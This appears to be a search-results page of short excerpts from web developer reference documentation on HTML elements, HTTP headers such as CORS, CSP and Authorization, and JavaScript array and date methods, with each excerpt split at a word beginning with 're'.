immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role columnheader or rowheader permitted aria roles any dom interface htmltableheadercellelement attributes this element includes the global attributes. abbr this attribute contains a short abb
reviated description of the cell's content. some user-agents, such as speech readers, may present this description before the content itself. colspan this attribute contains a non-negative integer value that indicates for how many columns the cell extends. its default value is 1. values higher than 1000 will be considered as incorrect and will be set to the default value (1). headers this attribu...
<tr>: The Table Row element - HTML: Hypertext Markup Language
wo columns using the colspan attribute, which causes this heading to actually be two columns wide. having a second row of <th> elements that contains only the "joined" and "canceled" headings. because the other columns are already occupied by first-row cells that span into the second row, these wind up correctly positioned under the "membership dates" heading. html the html is similar to the p
revious example's, except for the addition of the new column in each data row, and the changes to the header. those changes make the html look like this: <table> <tr> <th rowspan="2">name</th> <th rowspan="2">id</th> <th colspan="2">membership dates</th> <th rowspan="2">balance</th> </tr> <tr> <th>joined</th> <th>canceled</th> </tr> <tr> <th>margaret nguyen</td>...
<var>: The Variable element - HTML: Hypertext Markup Language
css, you can override the default style for the <var> element. in this example, variable names are rendered using bold courier if it's available, otherwise it falls back to the default monospace font. css var { font: bold 15px "courier", "courier new", monospace; } html <p>the variables <var>minspeed</var> and <var>maxspeed</var> control the minimum and maximum speed of the apparatus in
revolutions per minute (rpm).</p> this html uses <var> to enclose the names of two variables. result specifications specification status comment html living standardthe definition of '<var>' in that specification. living standard html5the definition of '<var>' in that specification. recommendation ...
is - HTML: Hypertext Markup Language
ccessfully defined in the current document, and extends the element type it is being applied to. examples the following code is taken from our word-count-web-component example (see it live also). // create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // constructor contents ommitted for b
revity ... } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'is' in that specification. living standard ...
tabindex - HTML: Hypertext Markup Language
. accessibility concerns avoid using the tabindex attribute in conjunction with non-interactive content to make something intended to be interactive focusable by keyboard input. an example of this would be using a <div> element to describe a button, instead of the <button> element. interactive components authored using non-interactive elements are not be listed in the accessibility tree. this p
revents assistive technology from being able to navigate to and manipulate those components. the content should be semantically described using interactive elements (<a>, <button>, <details>, <input>, <select>, <textarea>, etc.) instead. these elements have built-in roles and states that communicate status to the accessibility that would otherwise have to be managed by aria. using the tabindex att...
Using the application cache - HTML: Hypertext Markup Language
above is there for a good reason. browsers only update an application cache when the manifest file changes, byte for byte. if you change a cached resource (for example, you update the header.png image with new content), you must also change the content of the manifest file in order to let browsers know that they need to refresh the cache. you can make any change you want to the manifest file, but
revising a version number is the recommended best practice. important: do not specify the manifest itself in the cache manifest file, otherwise it will be nearly impossible to inform the browser a new manifest is available. sections in a cache manifest file: cache, network, and fallback a manifest can have three distinct sections: cache, network, and fallback. cache: this is the default sectio...
HTML: Hypertext Markup Language
in our extensive html reference section, you'll find the details about every element and attribute in html. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started beginner's tutorials our html learning area features multiple modules that teach html from the ground up — no p
revious knowledge required. introduction to html this module sets the stage, getting you used to important concepts and syntax such as looking at applying html to text, how to create hyperlinks, and how to use html to structure a web page. multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be includ...
Choosing between www and non-www URLs - HTTP
ells search engine crawlers where the page actually lives. this way, search engines don't index the same page several times, potentially leading to it being considered as duplicate content or spam, and even removing or lowering your page from the search engine result pages. when adding such a tag, you serve the same content for both domains, telling search engines which url is canonical. in the p
revious example, http://www.example.org/whaddup would serve the same content as http://example.org/whaddup, but with an additional <link> element in the head: <link href="http://example.org/whaddup" rel="canonical"> unlike the p
revious case, browser history will consider non-www and www urls as independent entries. make your page work for both with these techniques, you can configure your server ...
Common MIME types - HTTP
imary mime types are important for the role of default types: text/plain is the default value for textual files. a textual file should be human-readable and must not contain binary data. application/octet-stream is the default value for all other cases. an unknown file type should use this type. browsers pay a particular care when manipulating these files, attempting to safeguard the user to p
revent dangerous behaviors. iana is the official registry of mime media types and maintains a list of all the official mime types. this table lists some important mime types for the web: extension kind of document mime type .aac aac audio audio/aac .abw abiword document application/x-abiword .arc archive document (multiple files embedded...
Basics of HTTP - HTTP
and message structure in http/2 http/2 encapsulates and represents http/1.x messages in a binary frame. this article explains the frame structure, its purpose, and the way it's encoded. connection management in http/1.x http/1.1 was the first version of http to support persistent connection and pipelining. this article explains both concepts. connection management in http/2 http/2 completely
revisited how connections are created and maintained. this article explains how http frames allow multiplexing and solve the 'head-of-line' blocking problem of former http versions. content negotiation http introduces a set of headers, starting with accept as a way for a browser to announce the format, language, or encoding it prefers. this article explains how this advertisement happens, how the s...
Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’ - HTTP
reason reason: expected ‘true’ in cors header ‘access-control-allow-credentials’ what went wrong? the cors request requires that the server permit the use of credentials, but the server's access-control-allow-credentials header's value isn't set to true to enable their use. to fix this problem on the client side,
revise the code to not request the use of credentials. if the request is being issued using xmlhttprequest, make sure you're not setting withcredentials to true. if using server-sent events, make sure eventsource.withcredentials is false (it's the default value). if using the fetch api, make sure request.credentials is "omit". to eliminate this error by changing the server's configuration, adjust the server's configuration to set the access-control-allow-credentia...
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
eader should be: access-control-allow-origin: https://amazing.site you can also configure a site to allow any site to access it by using the * wildcard. you should only use this for public apis. private apis should never use *, and should instead have a specific domain or domains set. in addition, the wildcard only works for requests made with the crossorigin attribute set to anonymous, and it p
revents sending credentials like cookies in requests. access-control-allow-origin: * warning: using the wildcard to allow all sites to access a private api is a bad idea. to allow any site to make cors requests without using the * wildcard (for example, to enable credentials), your server must read the value of the request's origin header and use that value to set access-control-allow-origin, an...
Reason: CORS preflight channel did not succeed - HTTP
reason reason: cors preflight channel did not succeed what went wrong? the cors request requires preflight, preflighting could not be performed. there are a couple of reasons why preflighting might fail: a cross-site request has p
reviously been performed that already did a preflight, and doing the preflight again is not permitted. make sure your code only preflights once per connection. the preflight request simply suffered any kind of networking error that might ordinarily occur. ...
Authorization - HTTP
dentials> if the "basic" authentication scheme is used, the credentials are constructed like this: the username and the password are combined with a colon (aladdin:opensesame). the resulting string is base64 encoded (ywxhzgrpbjpvcgvuc2vzyw1l). note: base64 encoding does not mean encryption or hashing! this method is equally secure as sending the credentials in clear text (base64 is a
reversible encoding). prefer to use https in conjunction with basic authentication. examples authorization: basic ywxhzgrpbjpvcgvuc2vzyw1l see also http authentication for examples on how to configure apache or nginx servers to password protect your site with http basic authentication. specifications specification title rfc 7235, section 4.2: authorization http/...
CSP: block-all-mixed-content - HTTP
all mixed content resource requests are blocked, including both active and passive mixed content. this also applies to <iframe> documents, ensuring the entire page is mixed content-free. the upgrade-insecure-requests directive is evaluated before block-all-mixed-content. if the former is set, the latter does nothing, so set one directive or the other – not both, unless you want to force https on older browsers that do not force it after a redirect to http. ...
CSP: style-src - HTTP
unsafe inline styles note: disallowing inline styles and inline scripts is one of the biggest security wins csp provides. however, if you absolutely have to use it, there are a few mechanisms that will allow them. to allow inline styles, 'unsafe-inline', a nonce-source or a hash-source that matches the inline block can be speci...
CSP: trusted-types - HTTP
rusted-types directive instructs user agents to restrict usage of known dom xss sinks to a predefined set of functions that only accept non-spoofable, typed values in place of strings. this allows authors to define rules guarding writing values to the dom and thus reducing the dom xss attack surface to small, isolated parts of the web application codebase, facilitating their monitoring and code
review. this directive declares a white-list of trusted type policy names created with trustedtypes.createpolicy from trusted types api. syntax content-security-policy: trusted-types; content-security-policy: trusted-types <policyname>; content-security-policy: trusted-types <policyname> <policyname> 'allow-duplicates'; <domstring> any string can be a trusted type policy name. 'allow-duplicat...
Content-Security-Policy-Report-Only - HTTP
i /_/csp-reports", "disposition": "report" } } as you can see, the report includes the full path to the violating resource in blocked-uri. this is not always the case. for example, when the signup.html would attempt to load css from http://anothercdn.example.com/stylesheet.css, the browser would not include the full path but only the origin (http://anothercdn.example.com). this is done to p
revent leaking sensitive information about cross-origin resources. specifications specification status comment content security policy level 3 working draft no changes. content security policy level 2 recommendation initial definition. ...
Content-Security-Policy - HTTP
while also adding forward compatibility when browsers get report-to support, you can specify both report-uri and report-to: content-security-policy: ...; report-uri https://endpoint.example.com; report-to groupname in browsers that support report-to, the report-uri directive will be ignored. report-to fires a securitypolicyviolationevent. other directives block-all-mixed-content p
revents loading any assets using http when the page is loaded using https. referrer used to specify information in the referer (sic) header for links away from a page. use the referrer-policy header instead. require-sri-for requires the use of sri for scripts or styles on the page. require-trusted-types-for enforces trusted types at the dom xss injection sinks. trusted-types used to s...
Content-Type - HTTP
in requests, (such as post or put), the client tells the server what type of data is actually sent. ...
Cookie - HTTP
the cookie header is optional and may be omitted if, for example, the browser's privacy settings block cookies. header type request header forbidden header name yes syntax cookie: <cookie-list> cookie: name=value cookie: name=value; name2=value2; name3=value3 <cookie-list> a list of name-value pairs in the form of <cookie-name>=<cookie-value>. pairs in the list are separated by a semicolon and a space ('; '). ...
Cross-Origin-Embedder-Policy - HTTP
header type response header forbidden header name no syntax cross-origin-embedder-policy: unsafe-none | require-corp directives unsafe-none this is the default value. allows the document to fetch cross-origin resources without giving explicit permission through the cors protocol or the cross-origin-resource-policy header. require-corp a document can only load resources from the same origin, or resources explicitly marked as loadable from another origin. ...
Cross-Origin-Opener-Policy - HTTP
the http cross-origin-opener-policy (coop) response header allows you to ensure a top-level document does not share a browsing context group with cross-origin documents. coop will process-isolate your document and potential attackers can't access to your global object if they were opening it in a popup, p
reventing a set of cross-origin attacks dubbed xs-leaks. if a cross-origin document with coop is opened in a new window, the opening document will not have a reference to it, and the window.opener property of the new window will be null. this allows you to have more control over references to a window than rel=noopener, which only affects outgoing navigations. header type response header forbidden header name no syntax cross-origin-opener-policy: unsafe-non...
Expect-CT - HTTP
the expect-ct header lets sites opt in to reporting and/or enforcement of certificate transparency requirements, to p
revent the use of misissued certificates for that site from going unnoticed. ct requirements can be satisfied via any one of the following mechanisms: x.509v3 certificate extension to allow embedding of signed certificate timestamps issued by individual logs a tls extension of type signed_certificate_timestamp sent during the handshake supporting ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist when a site enables the expect-ct header, they are requesting that the browser check that any certificate for that site appears in public ct logs. browsers ignore the expect-ct header over http; the header only has effe...
Feature-Policy: geolocation - HTTP
ive controls whether the current document is allowed to use the geolocation interface. when this policy is enabled, calls to getcurrentposition() and watchposition() will cause those functions' callbacks to be invoked with a positionerror code of permission_denied. by default, the geolocation api can be used within top-level documents and their same-origin child frames. this directive allows or p
revents cross-origin frames from accessing geolocation. this includes same-origin frames. syntax feature-policy: geolocation <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature ...
Forwarded - HTTP
the alternative and de-facto standard versions of this header are the x-forwarded-for, x-forwarded-host and x-forwarded-proto headers. this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client. therefore the user's privacy must be kept in mind when deploying this header. ...
If-Match - HTTP
e strong comparison algorithm, meaning two files are considered identical byte to byte only. if a listed etag has the w/ prefix indicating a weak entity tag, it will never match under this comparison algorithm. there are two common use cases: for get and head methods, used in combination with a range header, it can guarantee that the new ranges requested comes from the same resource than the p
revious one. if it doesn't match, then a 416 (range not satisfiable) response is returned. for other methods, and in particular for put, if-match can be used to p
revent the lost update problem. it can check if the modification of a resource that the user wants to upload will not override another change that has been done since the original resource was fetched. if the request cannot be fulfilled, th...
If-None-Match - HTTP
modified-since, if-none-match has precedence (if the server supports it). there are two common use cases: for get and head methods, to update a cached entity that has an associated etag. for other methods, and in particular for put, if-none-match used with the * value can be used to save a file not known to exist, guaranteeing that another upload didn't happen before, losing the data of the p
revious put; this problem is a variation of the lost update problem. header type request header forbidden header name no syntax if-none-match: "<etag_value>" if-none-match: "<etag_value>", "<etag_value>", … if-none-match: * directives <etag_value> entity tags uniquely representing the requested resources. they are a string of ascii characters placed between do...
Large-Allocation - HTTP
ner" feature being set. this is for the same reason as above, namely that they can communicate and thus we cannot allow them to switch processes. a large-allocation header was ignored due to the document not being loaded out of process. firefox has moved to a multiprocess architecture, and this architecture is required in order to support the large-allocation header. some legacy addons can p
revent firefox from using this new, faster, multiprocess architecture. if you have one of these addons installed, then we will continue to use the old single process architecuture for compatibility, and cannot handle the large-allocation header. this page would be loaded in a new process due to a large-allocation header, however large-allocation process creation is disabled on non-win32 platforms. ...
Proxy-Authorization - HTTP
iana registry of authentication schemes. <credentials> the credentials are constructed like this: the username and the password are combined with a colon (aladdin:opensesame). the resulting string is base64 encoded (ywxhzgrpbjpvcgvuc2vzyw1l). note: base64 encoding does not mean encryption or hashing! this method is equally secure as sending the credentials in clear text (base64 is a
reversible encoding). prefer to use https in conjunction with basic authentication. examples proxy-authorization: basic ywxhzgrpbjpvcgvuc2vzyw1l specifications specification title rfc 7235, section 4.4: proxy-authorization http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
Server-Timing - HTTP
erface. header type response header forbidden header name no syntax the syntax of the server-timing header allows you to communicate metrics in different ways: server metric name only, metric with value, metric with value and description, and metric with description. the specification advices that names and descriptions should be kept as short as possible (use abb
reviations and omit optional values where possible) to minimize the http overhead. // single metric without value server-timing: missedcache // single metric with value server-timing: cpu;dur=2.4 // single metric with description and value server-timing: cache;desc="cache read";dur=23.2 // two metrics with value server-timing: db;dur=53, app;dur=47.2 // server-timing as trailer trailer: server-t...
Server - HTTP
header type response header forbidden header name no syntax server: <product> directives <product> the name of the software or product that handled the request. usually in a format similar to user-agent. ...
Via - HTTP
it is used for tracking message forwards, avoiding request loops, and identifying the protocol capabilities of senders along the request/response chain. header type general header forbidden header name yes syntax via: [ <protocol-name> "/" ] <protocol-version> <host> [ ":" <port> ] or via: [ <protocol-name> "/" ] <protocol-version> <pseudonym> directives <protocol-name> optional. the name of the protocol used, such as "http". <protocol-version> the version of the protocol used, such as "1.1". <host> and <port> public proxy url and port. ...
X-DNS-Prefetch-Control - HTTP
ts loaded over https. on firefox, this can be changed by setting the network.dns.disableprefetchfromhttps preference to false. examples turning on and off prefetching you can either send the x-dns-prefetch-control header server-side, or from individual documents, using the http-equiv attribute on the <meta> element, like this: <meta http-equiv="x-dns-prefetch-control" content="off"> you can
reverse this setting by setting content to "on". forcing lookup of specific hostnames you can force the lookup of specific hostnames without providing specific anchors using that hostname by using the rel attribute on the <link> element with a link type of dns-prefetch: <link rel="dns-prefetch" href="https://www.mozilla.org/contribute/"> in this example, the domain name "www.mozilla.org/contribu...
X-Forwarded-Host - HTTP
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client. ...
X-XSS-Protection - HTTP
xss-protection: 0 x-xss-protection: 1 x-xss-protection: 1; mode=block x-xss-protection: 1; report=<reporting-uri> 0 disables xss filtering. 1 enables xss filtering (usually default in browsers). if a cross-site scripting attack is detected, the browser will sanitize the page (remove the unsafe parts). 1; mode=block enables xss filtering. rather than sanitizing the page, the browser will p
revent rendering of the page if an attack is detected. 1; report=<reporting-uri> (chromium only) enables xss filtering. if a cross-site scripting attack is detected, the browser will sanitize the page and report the violation. this uses the functionality of the csp report-uri directive to send a report. example block pages from loading when they detect reflected xss attacks: x-xss-protection: 1...
Link prefetching FAQ - HTTP
er: header indicating the document from which the prefetching hint was extracted. this may impact referrer tracking that is commonly used on many sites. for this reason, link prefetching may not be appropriate for all content. however, it is possible to instruct mozilla to validate a prefetched document when the user follows a href to the prefetched document by specifying the cache-control: must-
revalidate http response header. this header enables caching, but requires an if-modified-since or if-none-match validation request before the serving the document out of the browser's cache. as a server admin, can i distinguish prefetch requests from normal requests? yes, we send the following header along with each prefetch request: x-moz: prefetch of course, this request header is not at all s...
An overview of HTTP - HTTP
ax the origin constraint, by contrast, has only been added in the 2010s. here is a list of common features controllable with http. caching how documents are cached can be controlled by http. the server can instruct proxies and clients, about what to cache and for how long. the client can instruct intermediate cache proxies to ignore the stored document. relaxing the origin constraint to p
revent snooping and other privacy invasions, web browsers enforce strict separation between web sites. only pages from the same origin can access all the information of a web page. though such constraint is a burden to the server, http headers can relax this strict separation on the server side, allowing a document to become a patchwork of information sourced from different domains; there could even ...
Protocol upgrade mechanism - HTTP
rmation to the server which is needed in order to confirm that the client is entitled to request an upgrade to websocket. this header can be used when insecure (http) clients wish to upgrade, in order to offer some degree of protection against abuse. the value of the key is computed using an algorithm defined in the websocket specification, so this does not provide security. instead, it helps to p
revent non-websocket clients from inadvertently, or through misuse, requesting a websocket connection. in essence, then, this key simply confirms that "yes, i really mean to open a websocket connection." this header is automatically added by clients that choose to use it; it cannot be added using the xmlhttprequest.setrequestheader() method. sec-websocket-key: key key the key for this request t...
Proxy Auto-Configuration (PAC) file - HTTP
ort the specified https proxy should be used socks4 host:port socks5 host:port the specified socks server (with the specified sock version) should be used if there are multiple semicolon-separated settings, the left-most setting will be used, until firefox fails to establish the connection to the proxy. in that case, the next value will be used, etc. the browser will automatically retry a p
reviously unresponsive proxy after 30 minutes. additional attempts will continue beginning at one hour, always adding 30 minutes to the elapsed time between attempts. if all proxies are down, and there was no direct option specified, the browser will ask if proxies should be temporarily ignored, and direct connections attempted. after 20 minutes, the browser will ask if proxies should be retried, as...
A typical HTTP session - HTTP
content contains a default page to display if the user-agent is not able to follow the link) <!doctype html... (contains a site-customized page helping the user to find the missing resource) notification that the requested resource doesn't exist: http/1.1 404 not found content-type: text/html; charset=utf-8 content-length: 38217 connection: keep-alive cache-control: no-cache, no-store, must-
revalidate, max-age=0 content-language: en-us date: thu, 06 dec 2018 17:35:13 gmt expires: thu, 06 dec 2018 17:35:13 gmt server: meinheld/0.6.1 strict-transport-security: max-age=63072000 x-content-type-options: nosniff x-frame-options: deny x-xss-protection: 1; mode=block vary: accept-encoding,cookie x-cache: error from cloudfront <!doctype html... (contains a site-customized page helping the user...
408 Request Timeout - HTTP
a server should send the "close" connection header field in the response, since 408 implies that the server has decided to close the connection rather than continue waiting. this response is used much more since some browsers, like chrome, firefox 27+, and ie9, use http pre-connection mechanisms to speed up surfing. ...
500 Internal Server Error - HTTP
the hypertext transfer protocol (http) 500 internal server error server error response code indicates that the server encountered an unexpected condition that p
revented it from fulfilling the request. this error response is a generic "catch-all" response. usually, this indicates the server cannot find a better 5xx error code to response. sometimes, server administrators log error responses like the 500 status code with more details about the request to p
revent the error from happening again in the future. status 500 internal server error specifications specification title rfc 7231, section 6.6.1: 500 internal server error hypertext transfer protocol (http/1.1): semantics and content ...
CSS Houdini
oudini code doesn't wait for that first rendering cycle to be complete. rather, it is included in that first cycle — creating renderable, understandable styles. houdini provides an object-based api for working with css values in javascript. houdini's css typed om is a css object model with types and methods, exposing values as javascript objects making for more intuitive css manipulation than p
revious string based htmlelement.style manipulations. every element and style sheet rule has a style map which is accessible via its stylepropertymap. a feature of css houdini is the worklet. with worklets, you can create modular css, requiring a single line of javascript to import configureable components: no pre-processors, post-processors or javascript frameworks needed. <script> css.paintwork...
Equality comparisons and sameness - JavaScript
rty descriptors, when it is desirable for your work to mirror some of the characteristics of object.defineproperty. if your use case does not require this, it is suggested to avoid object.is and use === instead. even if your requirements involve having comparisons between two nan values evaluate to true, generally it is easier to special-case the nan checks (using the isnan method available from p
revious versions of ecmascript) than it is to work out how surrounding computations might affect the sign of any zeros you encounter in your comparison. here's a non-exhaustive list of built-in methods and operators that might cause a distinction between -0 and +0 to manifest itself in your code: - (unary negation) let stoppingforce = obj.mass * -obj.velocity; if obj.velocity is 0 (or comput...
Assertions - JavaScript
/oon\b/ matches the "oon" in "moon", because "oon" is the end of the string, thus not followed by a word character. /\w\b\w/ will never match anything, because a word character can never be followed by both a non-word and a word character. to match a backspace character ([\b]), see character classes. \b matches a non-word boundary. this is a position where the p
revious and next character are of the same type: either both must be words, or both must be non-words, for example between two letters or between two spaces. the beginning and end of a string are considered non-words. same as the matched word boundary, the matched non-word boundary is also not included in the match. for example, /\bon/ matches "on" in "at noon", and /ye\b/ matches "ye" in "possibly y...
Regular expression syntax cheatsheet - JavaScript
/oon\b/ matches the "oon" in "moon", because "oon" is the end of the string, thus not followed by a word character. /\w\b\w/ will never match anything, because a word character can never be followed by both a non-word and a word character. to match a backspace character ([\b]), see character classes. \b matches a non-word boundary. this is a position where the p
revious and next character are of the same type: either both must be words, or both must be non-words, for example between two letters or between two spaces. the beginning and end of a string are considered non-words. same as the matched word boundary, the matched non-word boundary is also not included in the match. for example, /\bon/ matches "on" in "at noon", and /ye\b/ matches "ye" in "possibly y...
JavaScript Guide - JavaScript
objects objects and properties creating objects defining methods getter and setter details of the object model prototype-based oop creating object hierarchies inheritance promises guarantees chaining error propagation composition timing iterators and generators iterators iterables generators meta programming proxy handlers and traps
revocable proxy reflect javascript modules exporting importing default exports renaming features aggregating modules dynamic module loading next » ...
Memory Management - JavaScript
objects called roots. in javascript, the root is the global object. periodically, the garbage collector will start from these roots, find all objects that are referenced from these roots, then all objects referenced from these, etc. starting from the roots, the garbage collector will thus find all reachable objects and collect all non-reachable objects. this algorithm is an improvement over the p
revious one since an object having zero references is effectively unreachable. the opposite does not hold true as we have seen with circular references. as of 2012, all modern browsers ship a mark-and-sweep garbage-collector. all improvements made in the field of javascript garbage collection (generational/incremental/concurrent/parallel garbage collection) over the last few years are implementation...
TypeError: can't assign to property "x" on "y": not an object - JavaScript
the problem might be that an unexpected value is flowing at an unexpected place, or that an object variant of a string or a number is expected. examples invalid cases 'use strict'; var foo = "my string"; // the following line does nothing if not in strict mode. foo.bar = {}; // typeerror: can't assign to property "bar" on "my string": not an object fixing the issue either fix the code to p
revent the primitive from being used in such places, or fix the issue is to create the object equivalent object. 'use strict'; var foo = new string("my string"); foo.bar = {}; ...
TypeError: can't access dead object - JavaScript
the javascript exception "can't access dead object" occurs when firefox disallows add-ons to keep strong references to dom objects after their parent document has been destroyed to improve in memory usage and to p
revent memory leaks. message typeerror: can't access dead object error type typeerror what went wrong? to improve in memory usage and to p
revent memory leaks, firefox disallows add-ons to keep strong references to dom objects after their parent document has been destroyed. a dead object, is holding a strong (keep alive) reference to a dom element that persists even after it was destroyed in the dom. to avoid these issues, references to dom nodes in foreign document should instead be stored in an object which is specific to that document, and cleaned up when the document is un...
SyntaxError: missing variable name - JavaScript
wrong. check for typos! message syntaxerror: missing variable name (firefox) syntaxerror: unexpected token = (chrome) error type syntaxerror what went wrong? a variable is missing a name. this is likely due to a syntax error in your code. probably a comma is wrong somewhere or you struggled with coming up with a name. totally understandable! naming things is so hard. check to ensure the p
revious lines / declaration does not end with a comma instead of a semi-colon. examples missing a variable name var = "foo"; it's tough coming up with good variable names. we all have been there. var ohgodwhy = "foo"; reserved keywords can't be variable names there are a few variable names that are reserved keywords. you can't use these. sorry :( var debugger = "whoop"; // syntaxerror: miss...
Array.prototype[@@unscopables] - JavaScript
yes examples use in with environments the following code works fine in es5 and below. however, in ecmascript 2015 and later, the array.prototype.keys() method was introduced. that means that inside with environments, "keys" would now be the method and not the variable. this is where now the built-in @@unscopables array.prototype[@@unscopables] symbol property comes into play and p
revents that some of the array methods are being scoped into the with statement. var keys = []; with (array.prototype) { keys.push('something'); } object.keys(array.prototype[symbol.unscopables]); // ["copywithin", "entries", "fill", "find", "findindex", // "includes", "keys", "values"] specifications specification ecmascript (ecma-262)the definition of 'array.prototype[@@un...
Array.prototype.reduce() - JavaScript
ecomes the final, single resulting value. syntax arr.reduce(callback( accumulator, currentvalue, [, index[, array]] )[, initialvalue]) parameters callback a function to execute on each element in the array (except for the first, if no initialvalue is supplied). it takes four arguments: accumulator the accumulator accumulates callback's return values. it is the accumulated value p
reviously returned in the last invocation of the callback—or initialvalue, if it was supplied (see below). currentvalue the current element being processed in the array. index optional the index of the current element being processed in the array. starts from index 0 if an initialvalue is provided. otherwise, it starts from index 1. array optional the array reduce() was called upon. ...
Array - JavaScript
elements to the end of an array, and returns the new length of the array. array.prototype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. array.prototype.reduceright() apply a funciton against an accumulator> and each value of the array (from right-to-left) as to reduce it to a single value. array.prototype.
reverse()
reverses the order of the elements of an array in place. (first becomes the last, last becomes first.) array.prototype.shift() removes the first element from an array and returns that element. array.prototype.slice() extracts a section of the calling array and returns a new array. array.prototype.some() returns true if at least one element in this array satisfies the provided testing...
BigInt64Array - JavaScript
applies a function against an accumulator and each value of the array (from left-to-right) so as to reduce it to a single value. see also array.prototype.reduce(). bigint64array.prototype.reduceright() applies a function against an accumulator and each value of the array (from right-to-left) so as to reduce it to a single value. see also array.prototype.reduceright(). bigint64array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). bigint64array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. bigint64array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). ...
BigUint64Array - JavaScript
apply a function against an accumulator and each value of the array (from left-to-right) so as to reduce it to a single value. see also array.prototype.reduce(). biguint64array.prototype.reduceright() applies a function against an accumulator and each value of the array (from right-to-left) so as to reduce it to a single value. see also array.prototype.reduceright(). biguint64array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). biguint64array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. biguint64array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice().
Date.prototype.getTime() - JavaScript
/ since month is zero based, birthday will be january 10, 1995 var birthday = new date(1994, 12, 10); var copy = new date(); copy.settime(birthday.gettime()); measuring execution time subtracting two subsequent gettime() calls on newly generated date objects, give the time span between these two calls. this can be used to calculate the executing time of some operations. see also date.now() to p
revent instantiating unnecessary date objects. var end, start; start = new date(); for (var i = 0; i < 1000; i++) { math.sqrt(i); } end = new date(); console.log('operation took ' + (end.gettime() - start.gettime()) + ' msec'); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gettime' in that specification. ...
Date.prototype.setDate() - JavaScript
presenting the day of the month. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the given date (the date object is also changed in place). description if the dayvalue is outside of the range of date values for the month, setdate() will update the date object accordingly. for example, if 0 is provided for dayvalue, the date will be set to the last day of the p
revious month. if a negative number is provided for dayvalue, the date will be set counting backwards from the last day of the p
revious month. -1 would result in the date being set to 1 day before the last day of the p
revious month. examples using setdate() var thebigday = new date(1962, 6, 7); // 1962-07-07 (7th of july 1962) thebigday.setdate(24); // 1962-07-24 (24th of july 1962) thebigday.se...
Date.prototype.setMonth() - JavaScript
th() method sets the month for a specified date according to the currently set year. syntax dateobj.setmonth(monthvalue[, dayvalue]) versions prior to javascript 1.3 dateobj.setmonth(monthvalue) parameters monthvalue a zero-based integer representing the month of the year offset from the start of the year. so, 0 represents january, 11 represents december, -1 represents december of the p
revious year, and 12 represents january of the following year. dayvalue optional. an integer from 1 to 31, representing the day of the month. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date. description if you do not specify the dayvalue parameter, the value returned from the getdate() method is used. if a parameter you specify is outside of th...
Date.prototype.toString() - JavaScript
"26" space the string "gmt" timezone offset sign, either: "+" for positive offsets (0 or greater) "-" for negative offsets (less than zero) two digit hour offset, e.g. "14" two digit minute offset, e.g. "00" optionally, a timezone name consisting of: space left bracket, i.e. "(" an implementation dependent string representation of the timezone, which might be an abb
reviation or full name (there is no standard for names or abb
reviations of timezones), e.g. "line islands time" or "lint" right bracket, i.e. ")" e.g. "sat sep 01 2018 14:53:26 gmt+1400 (lint)" until ecmascript 2018 (edition 9), the format of the string returned by date.prototype.tostring was implementation dependent. therefore it should not be relied upon to be in the specified format. t...
Float32Array - JavaScript
ype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). float32array.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). float32array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). float32array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. float32array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). fl...
Float64Array - JavaScript
ype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). float64array.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). float64array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). float64array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. float64array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). fl...
Function.prototype.bind() - JavaScript
te a shortcut like this: const slice = array.prototype.slice; // ... slice.apply(arguments); with bind(), this can be simplified. in the following piece of code, slice() is a bound function to the apply() function of function.prototype, with the this value set to the slice() function of array.prototype. this means that additional apply() calls can be eliminated: // same as "slice" in the p
revious example const unboundslice = array.prototype.slice; const slice = function.prototype.apply.bind(unboundslice); // ... slice(arguments); specifications specification ecmascript (ecma-262)the definition of 'function.prototype.bind' in that specification. ...
Int16Array - JavaScript
ototype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). int16array.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). int16array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). int16array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. int16array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). int16a...
Int32Array - JavaScript
